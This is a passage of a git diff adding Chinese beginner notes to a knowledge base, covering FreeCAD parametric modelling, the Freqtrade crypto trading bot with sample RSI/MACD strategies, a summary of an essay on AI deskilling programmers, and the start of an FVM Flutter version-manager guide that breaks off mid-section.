+- **零订阅、GPL/LGPL 混合许可**：个人、教育、小企业均可免费使用，不像 SolidWorks / Fusion 按年付费
+- **参数化机械工作流完整**：Part Design（特征建模）、Sketcher（2D 约束）、TechDraw（工程图）、Assembly（装配）、FEM（有限元）、Path（CAM 刀路）——一个 `.FCStd` 项目串起来
+- **Python 一等公民**：界面操作几乎都能用脚本复现；宏、工作台扩展、批量改图是日常操作
+- **3D 打印与 Maker 生态**：导出 STL/3MF；与 [[openscad]] 互补——复杂草图约束用 FreeCAD 更顺手，纯算法生成几何用 OpenSCAD 更轻
+- **跨平台**：Windows / macOS / Linux；0.22+（及 1.0 线）显著缓解长期困扰用户的**拓扑命名**问题，特征树更稳定
+
+代价也要心里有数：学习曲线比 OpenSCAD 陡；界面/workbench 多，新手容易迷路；高端曲面、大型装配、CAM 刀路仍弱于商业 CAD，但教参数化思维足够。
+
+## 核心要点
+
+### 1. 工作台（Workbench）——按需换工具箱
+
+FreeCAD 主程序像**空教室**，真正能力来自可插拔的 **Workbench**：
+
+| 工作台 | 干什么 | 类比 |
+| --- | --- | --- |
+| **Part Design** | 实体特征建模（Body、Pad、Pocket） | 机械车间：车削、铣槽 |
+| **Sketcher** | 2D 草图 + 几何/尺寸约束 | 蓝图桌 |
+| **Part** | 布尔、倒角、简单 primitive | 万能钳工台 |
+| **Draft** | 2D 标注、尺寸、SVG 导出 | 制图员 |
+| **TechDraw** | 正投影工程图 | 打印车间图纸 |
+| **Assembly** | 多零件约束装配 | 装配流水线 |
+| **FEM** | 网格划分、边界条件、求解 | 结构分析室 |
+| **Path** | CAM 刀路（配合 GRBL 等） | CNC 编程 |
+
+零基础建议路径：**Part Design → Sketcher** 打通一条「草图 → 拉伸 → 挖孔 → 导出 STL」闭环，再按需摸 Draft / TechDraw。
+
+### 2. Body、Sketch、Feature——特征树三件套
+
+**Part Design** 的核心对象关系：
+
+```
+Document
+ └── Body（单一连续实体容器，自带局部坐标系）
+      ├── Origin（基准面 XY / XZ / YZ）
+      ├── Sketch（2D 轮廓，附在某个面上）
+      ├── Pad（把草图正向拉伸加料）
+      ├── Pocket（把草图拉伸挖料）
+      ├── Hole / Fillet / Chamfer …
+      └── …
+```
+
+- **Body**：一个 Body 里最终应收敛为**一块**可制造的实体（多体需多个 Body 或布尔）
+- **Sketch**：必须尽量**完全约束**（Fully constrained）——欠约束时几何会漂，过约束会报红
+- **Feature**：对 Body 的每一步增/减操作；顺序很重要：先 Pad 出底板，再 Pocket 挖孔
+
+### 3. 草图约束（Sketcher Constraints）
+
+Sketcher 用约束代替「肉眼对齐」：
+
+| 约束类型 | 作用 |
+| --- | --- |
+| 水平 / 垂直 | 边与坐标轴平行 |
+| 重合 / 相切 | 点在线上、圆与边相切 |
+| 对称 | 相对原点或构造线对称 |
+| 距离 / 半径 | 尺寸驱动——**参数化的灵魂** |
+| 等长 / 平行 | 多实体之间关系 |
+
+**Master Sketch** 做法（官方教程常见）：在一个草图里用命名约束 `length`、`width` 定义整体包络，后续特征引用同一参数——改一处，全模型联动。
+
+### 4. BREP 与网格
+
+FreeCAD 内部用 **BREP**（边界表示）：面、边、顶点精确描述实体，适合 CNC 与参数编辑。导出 STL 时才**离散**成三角网格。这与 [[blender]] 默认网格建模不同——改 STL 上的三角面不会自动更新特征树。
+
+### 5. 拓扑命名与版本选择
+
+早期 FreeCAD 有个痛点：改草图后，下游特征可能因内部名字变化而「找不到面」。**0.22 / 1.0** 引入更稳定的命名策略。新手若跟教程，优先用**较新版本**，减少「上一步还好好的，改个尺寸就全红」的挫败感。
+
+### 6. 文件与单位
+
+- 项目文件：`.FCStd`（zip 包：几何、脚本、元数据）
+- 默认长度单位常设为 **mm**（首选项 → 通用 → 单位）
+- 导出：`File → Export` 选 STL、STEP、IGES；STEP 保留实体，方便与其他 CAD 交换
+
+## 上手：第一个 Part Design 零件（逻辑步骤）
+
+以「底板 + 居中圆孔」为例（SD 卡托、支架底板都同构）：
+
+1. 新建文档 → 切换到 **Part Design**
+2. **Create body** → 自动出现 `Body`
+3. **Create sketch** → 选 **XY 平面** → 画矩形 → 给长宽尺寸 → 用**对称约束**让矩形中心落在原点
+4. 关闭草图 → **Pad** 拉伸 3 mm
+5. 在顶面 **Create sketch** → 画圆 → 约束半径 → 圆心约束到原点
+6. **Pocket** 贯穿挖孔
+7. `File → Export` → `holder.stl`
+
+全程没有手写代码，但特征树里每一步都可双击改尺寸——这就是参数化。
+
+## 代码示例
+
+### 示例 1：Part Design 程序化建 Body + 盒体 + 挖槽
+
+适合批量生成支架、测试夹具：
+
+```python
+import FreeCAD as App
+
+doc = App.newDocument("Bracket")
+
+body = doc.addObject("PartDesign::Body", "Body")
+
+# additive box: 基座 60×40×5
+box = doc.addObject("PartDesign::AdditiveBox", "Base")
+box.Length = 60
+box.Width = 40
+box.Height = 5
+body.addObject(box)
+
+# subtractive box: 中间挖 30×20×5 的腔
+cut = doc.addObject("PartDesign::SubtractiveBox", "Pocket")
+cut.Length = 30
+cut.Width = 20
+cut.Height = 5
+cut.Placement.Base = App.Vector(15, 10, 0)  # 相对 Body 原点平移
+body.addObject(cut)
+
+doc.recompute()
+```
+
+`AdditiveBox` / `SubtractiveBox` 是 Part Design 的 primitive 特征，等价于 GUI 里的「加料方体 / 减料方体」。改 `Length` 后 `recompute()`，特征树整体刷新。
+
+### 示例 2：草图 + Pad 经典流程（Python）
+
+与 GUI「画草图再拉伸」同构，适合写宏：
+
+```python
+import FreeCAD as App
+import Part
+
+doc = App.newDocument("PadDemo")
+body = doc.addObject("PartDesign::Body", "Body")
+
+sk = doc.addObject("Sketcher::SketchObject", "Sketch")
+body.addObject(sk)
+# 附到 Body 的 XY 基准面（Origin 子对象索引因版本略异，GUI 建草图更稳）
+# 此处用四条线画 50×30 矩形（单位 mm）
+geoList = [
+    App.Vector(-25, -15, 0), App.Vector(25, -15, 0),
+    App.Vector(25, 15, 0), App.Vector(-25, 15, 0),
+]
+sk.addGeometry(Part.LineSegment(geoList[0], geoList[1]))
+sk.addGeometry(Part.LineSegment(geoList[1], geoList[2]))
+sk.addGeometry(Part.LineSegment(geoList[2], geoList[3]))
+sk.addGeometry(Part.LineSegment(geoList[3], geoList[0]))
+
+pad = doc.addObject("PartDesign::Pad", "Pad")
+pad.Profile = sk
+pad.Length = 10
+body.addObject(pad)
+
+doc.recompute()
+```
+
+实际项目里更推荐：**GUI 建第一版** → **Macro → 宏录制** → 再整理 Python。Sketcher 约束索引手写易错，录制能省大量时间。
+
+### 示例 3：读属性、批量改尺寸
+
+```python
+import FreeCAD as App
+
+doc = App.ActiveDocument
+for obj in doc.Objects:
+    if obj.TypeId == "PartDesign::Pad":
+        obj.Length = obj.Length * 1.1  # 所有 Pad 加厚 10%
+doc.recompute()
+```
+
+参数化模型的价值：一组支架「统一加厚 1 mm」不必逐个双击特征。
+
+## 与相近工具对比
+
+| 维度 | FreeCAD | [[openscad]] | [[blender]] | Fusion 360 |
+| --- | --- | --- | --- | --- |
+| 交互 | GUI + 特征树为主 | 纯脚本 CSG | 网格/雕刻/动画 | GUI 特征树 |
+| 参数化 | 草图约束 + 特征 | 变量 + module | 修改器（非机械特征树） | 工业级 |
+| 学习曲线 | 中高 | 中（会编程则低） | 高（领域广） | 中 |
+| 许可 | 开源免费 | 开源免费 | 开源免费 | 商业订阅 |
+| 典型出口 | STEP、STL、工程图 | STL | FBX、渲染图 | 制造全流程 |
+
+## 常见坑
+
+1. **没在 Body 里建特征**：Part Design 特征必须挂在 `Body` 下，否则 Pad/Pocket 灰色不可用
+2. **草图欠约束**：拖一下边，整图变形；看约束列表是否「Fully constrained」
+3. **特征顺序错**：先倒角再挖孔，与先挖孔再倒角，结果可能不同甚至失败
+4. **混用 Part 与 Part Design 布尔**：老手才玩；新手先单一 Body 走通
+5. **导出 STL 前未 recompute**：`Ctrl+Shift+R` 或 `doc.recompute()`，避免导出旧几何
+6. **宏路径与 import**：宏在 `Macro` 目录，扩展名 `.FCMacro`；`import` 需 `.py` 或配置 `sys.path`
+
+## 学习资源
+
+- 官方文档：[FreeCAD-documentation wiki](https://github.com/FreeCAD/FreeCAD-documentation)（Part Design、Python scripting tutorial）
+- 入门教程：*Creating a simple part with PartDesign*、*Basic Part Design Tutorial*
+- 社区：FreeCAD 论坛、中文 QQ/论坛群、YouTube / B 站「Sketcher 约束」系列
+- 源码结构：`src/Mod/PartDesign`、`src/Mod/Sketcher` 对应工作台实现
+
+## 在本知识库中的位置
+
+- 分类预期：**图形学** → 与 CAD、3D 内容管线相关（运行 `classify-notes` 后写入 frontmatter）
+- 上游：数学（约束求解）、工程制图常识
+- 下游：3D 打印切片、[[grbl]] CNC、[[open3d]] 点云与 CAD 是不同赛道
+- 相关笔记：[[openscad]]、[[blender]]、[[assimp]]（网格导入）、[[buildroot]]（设备外壳常配合打印件）
+
+---
+
+*最后更新：2026-06-13*
diff --git a/src/content/docs/projects/freqtrade.md b/src/content/docs/projects/freqtrade.md
new file mode 100644
index 000000000..8dec7db3c
--- /dev/null
+++ b/src/content/docs/projects/freqtrade.md
@@ -0,0 +1,236 @@
+---
+title: Freqtrade 零基础入门笔记
+来源: https://github.com/freqtrade/freqtrade
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+# Freqtrade 零基础入门笔记
+
+## 什么是 Freqtrade？
+
+Freqtrade 是一个用 Python 写的免费开源加密货币交易机器人。你可以把它想象成一个"不会疲劳的交易员"——它可以 7×24 小时盯盘，按照你写好的规则自动买卖。
+
+它支持 Binance、OKX、Bybit、Kraken 等主流交易所，能通过 Telegram 或网页界面远程控制，还内置了回测（用历史数据检验策略）和超参数优化（用机器学习找到最佳参数）功能。
+
+> 免责声明：此软件仅供学习使用。不要用你输不起的钱去冒险。
+
+## 核心概念
+
+### 1. 策略（Strategy）—— 你的交易大脑
+
+策略是 Freqtrade 最核心的概念。它是一个 Python 类，告诉机器人"在什么情况下买入、在什么情况下卖出"。
+
+类比：如果你去钓鱼，策略就是你的钓鱼规则——"水深超过 2 米且有浮漂信号时才收竿"。Freqtrade 的策略则是"RSI 低于 30 时买入，高于 70 时卖出"。
+
+### 2. K 线数据（OHLCV）—— 机器人看到的"地图"
+
+交易所按固定时间间隔（称为 Timeframe，如 5 分钟、1 小时）提供每根蜡烛的六个数据：
+
+- **O**pen：开盘价
+- **H**igh：最高价
+- **L**ow：最低价
+- **C**lose：收盘价
+- **V**olume：成交量
+
+类比：每根蜡烛就是一分钟内的"交易快照"。5 分钟时间框意味着每 5 分钟生成一根蜡烛，就像每 5 分钟拍一张相。
+
+### 3. 技术指标（Indicators）—— 对地图做标注
+
+技术指标是通过对 OHLCV 数据做数学计算得出的辅助数据。最常见的包括：
+
+- **RSI（相对强弱指数）**：衡量价格涨多还是跌多，0-100 之间
+- **SMA/EMA（简单/指数移动平均线）**：反映价格的平均趋势
+- **布林带（Bollinger Bands）**：衡量价格波动范围
+
+类比：如果 OHLCV 是原始地图，技术指标就是地图上用荧光笔标注的关键信息——"这里曾是价格高峰"、"这里经常反弹"。
+
+### 4. 交易信号（Signals）—— 买卖指令
+
+策略会根据技术指标生成两种信号：
+
+- **入场信号（Entry Signal）**：`enter_long = 1` 表示买入
+- **出场信号（Exit Signal）**：`exit_long = 1` 表示卖出
+
+### 5. 回测（Backtesting）和干跑（Dry-Run）—— 模拟练习
+
+- **回测**：用历史数据跑一遍你的策略，看"如果过去这么做会赚多少"
+- **干跑**：用实时数据但不真花钱，模拟交易全过程
+
+类比：回测像是"复习过去的考试卷"，干跑像是"模拟考"。两者都重要，但都不等于真实考试。
+
+### 6. 风控工具
+
+- **止损（Stoploss）**：亏损到一定程度自动卖出，防止越亏越多
+- **最小投资回报率（ROI）**：赚到一定比例自动止盈
+- **配对（Pair）**：交易对，如 `BTC/USDT`，表示用 USDT 买 BTC
+
+## 代码示例
+
+### 示例一：第一个最简单的策略
+
+这是 Freqtrade 官方文档中最简策略，用 RSI 指标实现"低买高卖"：
+
+```python
+from freqtrade.strategy import IStrategy
+from pandas import DataFrame
+import talib.abstract as ta
+
+class SimpleRsiStrategy(IStrategy):
+
+    # 使用 15 分钟级别的 K 线数据
+    timeframe = '15m'
+
+    # 止损设为 -10%：亏损超过 10% 自动卖出
+    stoploss = -0.10
+
+    # ROI 规则：只要赚钱超过 1%，就卖出
+    minimal_roi = {"0": 0.01}
+
+    def populate_indicators(self, dataframe: DataFrame, metadata: dict) -> DataFrame:
+        """
+        第一步：计算技术指标。
+        给数据表加上一列 'rsi'，值为 14 周期的 RSI。
+        """
+        dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14)
+        return dataframe
+
+    def populate_entry_trend(self, dataframe: DataFrame, metadata: dict) -> DataFrame:
+        """
+        第二步：定义买入信号。
+        当 RSI < 30 时，标记为"应该买入"。
+        """
+        dataframe.loc[
+            (dataframe['rsi'] < 30),
+            'enter_long'] = 1
+        return dataframe
+
+    def populate_exit_trend(self, dataframe: DataFrame, metadata: dict) -> DataFrame:
+        """
+        第三步：定义卖出信号。
+        当 RSI > 70 时，标记为"应该卖出"。
+        """
+        dataframe.loc[
+            (dataframe['rsi'] > 70),
+            'exit_long'] = 1
+        return dataframe
+```
+
+这段代码的运行逻辑，就像你告诉机器人：
+
+1. 每 15 分钟看一次 `BTC/USDT` 的价格
+2. 算出 RSI 数值
+3. RSI 跌到 30 以下 → 买入
+4. RSI 涨到 70 以上 → 卖出
+5. 如果亏了 10% 以上 → 强制止损卖出
+6. 如果赚了 1% 以上 → 主动止盈卖出
+
+### 示例二：加入更多指标的进阶策略
+
+单用 RSI 容易出错，下面加入 MACD 和布林带做双重确认：
+
+```python
+from freqtrade.strategy import IStrategy
+from pandas import DataFrame
+import talib.abstract as ta
+
+class MultiIndicatorStrategy(IStrategy):
+
+    timeframe = '1h'
+    stoploss = -0.15
+    minimal_roi = {"0": 0.05, "60": 0.02, "120": 0.01}
+
+    def populate_indicators(self, dataframe: DataFrame, metadata: dict) -> DataFrame:
+        """计算 RSI + MACD + 布林带"""
+
+        # RSI：14 周期相对强弱指数
+        dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14)
+
+        # MACD：趋势指标
+        macd = ta.MACD(dataframe)
+        dataframe['macd'] = macd['macd']
+        dataframe['macdsignal'] = macd['macdsignal']
+
+        # 布林带：衡量价格波动区间
+        bollinger = ta.BBANDS(dataframe, timeperiod=20)
+        dataframe['bb_lower'] = bollinger['lowerband']
+        dataframe['bb_upper'] = bollinger['upperband']
+        dataframe['bb_mid'] = bollinger['middleband']
+
+        return dataframe
+
+    def populate_entry_trend(self, dataframe: DataFrame, metadata: dict) -> DataFrame:
+        """
+        买入条件：RSI < 30 且 收盘价 < 布林下轨 且 MACD 线在信号线上方
+        三个条件同时满足才买入，减少误判。
+        """
+        dataframe.loc[
+            (
+                (dataframe['rsi'] < 30) &           # 价格处于超卖区
+                (dataframe['close'] < dataframe['bb_lower']) &  # 跌破布林下轨
+                (dataframe['macd'] > dataframe['macdsignal'])    # MACD 开始向上
+            ),
+            'enter_long'] = 1
+        return dataframe
+
+    def populate_exit_trend(self, dataframe: DataFrame, metadata: dict) -> DataFrame:
+        """
+        卖出条件：RSI > 70 或 收盘价 > 布林上轨
+        """
+        dataframe.loc[
+            (
+                (dataframe['rsi'] > 70) |           # 价格处于超买区
+                (dataframe['close'] > dataframe['bb_upper'])    # 突破布林上轨
+            ),
+            'exit_long'] = 1
+        return dataframe
+```
+
+这个进阶策略用"三重确认"降低了误判率：
+
+- RSI 超卖 → 价格可能被低估
+- 跌破布林下轨 → 价格暂时跌出正常范围
+- MACD 金叉 → 趋势开始转向上
+
+类比：就像出门看天气——不仅看云（RSI），还要看风速（布林带），再看气压（MACD），三个信号都指向下雨才带伞。
+
+## Freqtrade 的工作流程
+
+一个典型的 Freqtrade 使用流程如下：
+
+```
+1. 安装 Freqtrade（推荐 Docker）
+2. 下载历史数据（backtesting 用）
+3. 编写策略（写 Python 类）
+4. 回测策略（看历史表现）
+5. 干跑测试（实时模拟，不花钱）
+6. 正式上线（Live 模式，用真钱）
+```
+
+## 常用命令行
+
+| 命令 | 作用 |
+|------|------|
+| `freqtrade download-data` | 下载交易所历史 K 线数据 |
+| `freqtrade backtesting` | 用历史数据回测策略 |
+| `freqtrade trade` | 启动实盘/干跑交易 |
+| `freqtrade hyperopt` | 超参数优化，自动找最佳参数 |
+| `freqtrade list-data` | 查看已下载的数据 |
+
+## 学习建议
+
+- 先理解 RSI、SMA 等基本指标，再动手写策略
+- 从干跑开始，不要一上来就用真钱
+- 回测结果不要太当真，干跑结果更可靠
+- 读官方示例策略仓库：`github.com/freqtrade/freqtrade-strategies`
+- 遇到问题先去 Discord 社区问
+
+## 总结
+
+Freqtrade 的核心逻辑可以用一句话概括：
+
+> **输入历史价格 → 计算指标 → 产生信号 → 自动下单**
+
+你写的策略就是这个流程的大脑。写得越好，机器人交易越聪明。但记住：没有任何策略能保证盈利，风险管理永远比预测市场更重要。
diff --git a/src/content/docs/projects/frontend-lost-decade-ai.md b/src/content/docs/projects/frontend-lost-decade-ai.md
new file mode 100644
index 000000000..4e2bfd1a9
--- /dev/null
+++ b/src/content/docs/projects/frontend-lost-decade-ai.md
@@ -0,0 +1,247 @@
+---
+title: AI 是否正在重演前端的"失落十年"？
+来源: https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+# AI 是否正在重演前端的"失落十年"？
+
+## 一、这篇文章在说什么
+
+这篇文章的作者 Maurl Bieg 提出了一个让人不安的问题：
+
+> AI 正在对程序员做的事情，和前端的框架工具链在过去十年里做的事情，感觉非常相似。
+
+简单来说，作者认为 AI 正在让编程"去技能化"（deskilling），就像 React、Vue 这些框架让前端开发"去技能化"一样。
+
+## 二、核心概念：什么是"去技能化"
+
+### 日常类比
+
+想象一下木工行业：
+
+- **传统木工**：每个木匠都要亲手量尺寸、选木材、打磨、上漆。这是一门需要多年练习的高深手艺。
+- **工业化之后**：流水线工人只需要按几个按钮，机器就生产出了椅子。成本低了，门槛低了，但椅子的质量也参差不齐了。
+
+"去技能化"就是这个意思：**新技术让原本需要专业技能的工作，变成了半熟练甚至非熟练工人也能做的事。**
+
+Wikipedia 的定义是：
+
+> 去技能化是指通过引入由半熟练或非熟练工人操作的技术，从而消除行业内熟练劳动力的过程。这带来了成本节约，但也降低了进入门槛，削弱了工人的议价能力。
+
+### 前端历史上发生过的事
+
+在 React、Next.js 这些框架出现之前，前端开发是一门高度专业化的技能。你需要懂：
+
+- 语义化的 HTML
+- CSS 的各种兼容性问题
+- 无障碍访问（Accessibility）
+- 渐进增强
+- 网络性能优化
+- 不同浏览器的差异
+
+这些从业者后来把自己做的事称为 **"前端的前端"**（the front of the frontend），以区别于后来变成"框架搬运工"的前端开发。
+
+框架的出现，把浏览器变成了一个"编译目标"——就像 JVM 或 iOS 运行时一样。你不需要理解底层 HTML 的细节，也不需要关心不同浏览器的微妙差异，更不用管低端手机上的性能问题。你只需要会拽一个框架就行了。
+
+结果就是：
+
+- 公司可以随便把一个后端程序员调到前端干活
+- "全栈工程师"往往变成了"两边都只懂一点皮毛的人"
+- 进入门槛降低了（这是好事）
+- 但工人的议价能力也下降了（这是坏事）
+
+### AI 正在对编程做同样的事
+
+现在，手动写代码这项技能，正在被"由半熟练或非熟练工人操作的技术"所取代——这个技术就是 AI。
+
+## 三、第二个视角：抽象层级的提升
+
+### 日常类比
+
+想象一下开车：
+
+- **老式汽车**：你需要自己摇柄启动、手动换挡、调节气门。这需要大量技能。
+- **自动挡汽车**：你只需要踩油门和刹车。开车变得简单了，但你失去了对车辆的一些掌控感。
+
+这引出了文章的核心观点之一：**去技能化也可以看作是"在更高抽象层级上操作"。**
+
+### 抽象是有代价的
+
+抽象层越高，你越不需要关心细节，但问题是：
+
+> 哪些细节被认为是"不重要的"，这是一个非常关键且主观的决定。而这些细节最终总会泄漏出来。（The Law of Leaky Abstractions）
+
+前端框架的抽象泄漏例子：
+
+```javascript
+// 你以为你只是在写一个简单的按钮
+import { RadioGroup } from 'shadcn';
+
+<RadioGroup>
+  <RadioGroupItem value="a" />
+  <RadioGroupItem value="b" />
+</RadioGroup>
+
+// 但实际上你引入了几百 KB 的 JavaScript
+// 你不懂它的无障碍访问实现
+// 你不知道它在低端手机上有多慢
+// 你甚至不知道它生成了什么样的 HTML
+```
+
+### AI 编码是一种"不确定性抽象"
+
+用 AI 写代码时，你是在更高抽象层级描述需求，写的字比手写代码少得多。AI 会根据训练数据和上下文，填补你省略的细节——有时猜对了，有时猜错了。
+
+但 AI 编码比之前的抽象更"泄漏"：
+
+- 编译器是确定性的：同样的输入，永远得到同样的输出
+- AI 是不确定的：同样的提示词，每次可能得到不同的结果
+
+所以很多人把 AI 比作"初级工程师"——同样不确定，但区别在于人会学习，而 AI 不会。
+
+## 四、代码示例对比
+
+### 示例一：用传统方式 vs AI 方式实现一个功能
+
+**传统方式**——手动写一个带无障碍访问的搜索框：
+
+```html
+<!-- 正确的方式：语义化 + 无障碍 -->
+<label for="search-input" class="sr-only">搜索</label>
+<input
+  type="search"
+  id="search-input"
+  placeholder="输入关键词..."
+  aria-label="搜索网站内容"
+  role="searchbox"
+/>
+<button aria-label="执行搜索">
+  <svg aria-hidden="true" role="img">
+    <!-- 搜索图标 -->
+  </svg>
+</button>
+```
+
+**AI 方式**——你只需要描述需求：
+
+```
+请帮我写一个搜索框组件，要美观、响应式、深色模式适配
+```
+
+AI 给你一段代码，看起来能跑，但你可能不知道它是否真的：
+
+- 支持键盘导航（Tab 键切换焦点？）
+- 屏幕阅读器能正确识别吗？
+- 在低端 Android 上流畅吗？
+- 如果 API 挂了有 fallback 吗？
+
+这就是"不确定性抽象"的风险。
+
+### 示例二：理解 AI 生成的代码为什么重要
+
+假设 AI 给你生成了这段代码：
+
+```javascript
+// AI 生成的数据获取代码
+async function getUsers() {
+  const res = await fetch('/api/users');
+  const data = await res.json();
+  return data;
+}
+```
+
+看起来没问题对吧？但如果你的团队里有人从不仔细看 Stack Overflow 的答案，直接复制粘贴，那么：
+
+- 他们不知道 `await res.json()` 在 JSON 格式错误时会抛异常
+- 他们不知道没有检查 `res.ok`，404 错误会被当成正常数据
+- 他们不知道没有超时控制，请求卡住时页面会一直转圈
+
+```javascript
+// 认真看过文档的人写的版本
+async function getUsers() {
+  const controller = new AbortController();
+  const timeout = setTimeout(() => controller.abort(), 5000); // 5秒超时
+
+  try {
+    const res = await fetch('/api/users', { signal: controller.signal });
+    clearTimeout(timeout);
+
+    if (!res.ok) {
+      throw new Error(`HTTP error! status: ${res.status}`);
+    }
+
+    const data = await res.json();
+    return data;
+  } catch (error) {
+    if (error.name === 'AbortError') {
+      console.error('请求超时');
+    } else {
+      console.error('获取用户失败:', error);
+    }
+    return []; // 优雅降级
+  }
+}
+```
+
+这就是文章说的：
+
+> 抽象终会泄漏。到时候总得有人花时间去真正理解发生了什么，然后修复它。
+
+## 五、质量还重要吗？
+
+文章的残酷现实是：
+
+- 很多公司做得很好，尽管它们产出的软件很差劲
+- 商业成功和软件质量很少相关
+- 糟糕的网站对营业额的影响相对较小（品牌忠诚度、定价等因素更重要）
+- "选择 React 没人会被开除"
+
+但这不意味着我们不该关心质量和用户。相反，这意味着：
+
+> 找到一份让你能做好工作的机会，变得越来越难了。
+
+## 六、包豪斯运动的启示
+
+20世纪初，当 everyday 的物品可以通过工业流程大规模生产时，工匠们的反应有两种：
+
+1. **历史主义**：模仿旧风格，让工厂生产看起来像手工制作的物品
+2. **包豪斯运动**：让工厂工人和工匠合作，用工业制造的方式来重新发展工艺设计
+
+包豪斯的做法是：设计师回到车间，亲自接触材料，同时始终想着最终用户。现代工业设计（Dieter Rams、Jony Ive）都源于此。
+
+翻译到软件行业：
+
+- 软件介于"手工艺"和"工业设计"之间
+- 程序直接"出厂"给用户，没有中间制造步骤
+- 但同一份代码可能发给成千上万的用户
+
+就像：
+
+- 工业化生产了大量廉价塑料制品，但好的工业设计依然存在
+- 文字处理器让排版混乱的文档泛滥，但字体设计和平面设计仍然存在
+- Wix 和 Next.js 让加载缓慢、不可访问的网站随处可见，但"前端的前端"的实践者仍然存在
+- AI 让大量 AI 垃圾代码泛滥，但这不意味着我们不再需要懂行的人
+
+## 七、我的理解总结
+
+这篇文章最核心的洞察可以用一句话概括：
+
+**AI 和框架一样，都是降低门槛的工具。它们让懂行的人更快，也让不懂行的人能做出一部分能用的东西。但抽象终会泄漏，到时候总得有人来收拾残局。**
+
+所以关键不是抵制 AI，而是：
+
+1. 知道自己在做什么权衡
+2. 理解 AI 生成的代码到底在干什么
+3. 在需要高质量的时候，选择从头正确地做
+
+## 八、思考题
+
+1. 你在工作中有没有遇到过"抽象泄漏"的时刻？当时是怎么处理的？
+2. 你觉得 AI 生成的代码，和从 Stack Overflow 复制的代码，风险有什么不同？
+3. 如果你的团队全面采用 AI 编码，你们的质量保障流程需要做哪些调整？
+
+等你回答后再继续讨论。
diff --git a/src/content/docs/projects/fvm.md b/src/content/docs/projects/fvm.md
new file mode 100644
index 000000000..7eeb5703f
--- /dev/null
+++ b/src/content/docs/projects/fvm.md
@@ -0,0 +1,289 @@
+---
+title: FVM — 按项目锁定 Flutter SDK 版本
+来源: https://github.com/leoafarias/fvm
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+FVM（**F**lutter **V**ersion **M**anagement）是一个命令行工具，让你在**同一台机器上安装多个 Flutter SDK，并按项目切换版本**。日常类比：Flutter 项目像不同型号的螺丝刀——有的老项目必须用 3.16 的「十字头」，新项目要上 3.22 的「内六角」。FVM 不是让你买一整箱新工具，而是在工具柜里按项目标签取出对应型号，用完再放回，互不干扰。
+
+和 Node 生态里的 nvm、Python 里的 pyenv 是同一类问题：官方 Flutter 安装通常只有「全局一份 SDK」。团队里 A 项目锁 3.16、B 项目跟 stable，CI 又要和 `.fvmrc` 一致——没有版本管理器就只能反复卸载重装，或者各开一台虚拟机。
+
+典型用法：
+
+```bash
+cd my_flutter_app
+fvm use 3.19.0          # 为当前项目钉住 Flutter 3.19.0
+fvm flutter doctor      # 用项目版本跑 doctor
+fvm flutter run         # 用项目版本编译运行
+```
+
+FVM 在 GitHub 上由 Leo Farias 维护（[leoafarias/fvm](https://github.com/leoafarias/fvm)），文档站 [fvm.app](https://fvm.app)，MIT 许可，Dart 实现，是 Flutter 社区事实上的 SDK 版本管理方案。
+
+## 为什么重要
+
+不写 FVM，下面这些场景都会踩坑：
+
+- 本地 `flutter --version` 是 3.22，同事和 CI 用 3.19，你本地能跑、线上构建失败
+- 想试 Flutter beta 新特性，又怕覆盖全局 SDK 把老项目搞挂
+- 打开 IDE 后 Dart Analysis 报一堆错，其实是 IDE 指向了错误的 Flutter 路径
+- 看团队 README 写「先 `fvm install` 再构建」，不知道 `.fvmrc` 和 `.fvm/flutter_sdk` 是干什么的
+- Monorepo 里多个 App 需要不同 Flutter 版本，只能手动改 PATH
+
+FVM 把「用哪个 Flutter」从个人习惯变成**可提交、可复现的项目配置**。
+
+## 核心概念
+
+### 1. 缓存目录 vs 项目链接
+
+FVM 下载的 SDK 放在统一缓存里（默认类似 `~/.fvm/versions/`），不会每个项目各拷一份完整 SDK。`fvm use 3.19.0` 会在项目里创建 `.fvm/flutter_sdk` **符号链接**，指向缓存中的 3.19.0。类比：图书馆只有一套藏书（缓存），每个项目组领一张「指向第几排书架」的索引卡（symlink）。
+
+### 2. `.fvmrc` — 项目的版本契约
+
+在项目根目录运行 `fvm use` 后会生成 `.fvmrc`（或更新其中的 JSON），记录本项目应使用的 Flutter 版本，可含 flavors、是否自动改 VS Code 设置等：
+
+```json
+{
+  "flutter": "3.19.0",
+  "flavors": {
+    "development": "beta",
+    "production": "3.19.0"
+  },
+  "updateVscodeSettings": true,
+  "updateGitIgnore": true,
+  "runPubGetOnSdkChanges": true
+}
+```
+
+团队应**提交 `.fvmrc`**，新人 `git clone` 后执行 `fvm install` 即可对齐版本。`.fvm/flutter_sdk`  symlink 体积小且会随 `fvm use` 重建，通常加入 `.gitignore`（FVM 可在 `updateGitIgnore: true` 时自动写入）。
+
+### 3. `fvm flutter` 前缀 — 绕过全局 PATH
+
+系统 `PATH` 里可能还有另一个 `flutter`。在项目目录应通过 `fvm flutter ...` 调用，或把 alias 写进 shell 配置：
+
+```bash
+alias flutter='fvm flutter'
+alias dart='fvm dart'
+```
+
+这样当前目录有 FVM 配置时，命令自动走项目 SDK；没有配置时可回退全局（取决于你的 alias 写法）。
+
+### 4. 全局默认 vs 项目级
+
+- `fvm use 3.19.0`：仅当前项目（及子目录继承逻辑视 monorepo 结构而定）
+- `fvm global 3.19.0`：设置机器级默认 Flutter，并把 `~/fvm/default` 链到该版本；需把 `$HOME/fvm/default/bin` 加入 PATH
+
+个人建议：**生产项目一律 `fvm use` 钉版本**；`global` 只作为「新开空项目时的默认」，不要和团队锁定混为一谈。
+
+### 5. Flavors — 同一仓库多套 SDK 策略
+
+大型团队可能开发用 beta、发布用 stable。FVM 支持 flavor：
+
+```bash
+fvm use 3.19.0 --flavor development
+fvm use 3.16.0 --flavor production
+fvm flavor development flutter run
+```
+
+`.fvmrc` 里的 `flavors` 映射会一并保存。
+
+### 6. Fork 与企业定制 Flutter
+
+公司自维护 Flutter fork 时，可用 `fvm fork add` 注册远程仓库，再 `fvm install company/stable`。环境变量 `FVM_FLUTTER_URL` 也可全局指定官方 git 镜像或内网地址。
+
+### 7. IDE 集成
+
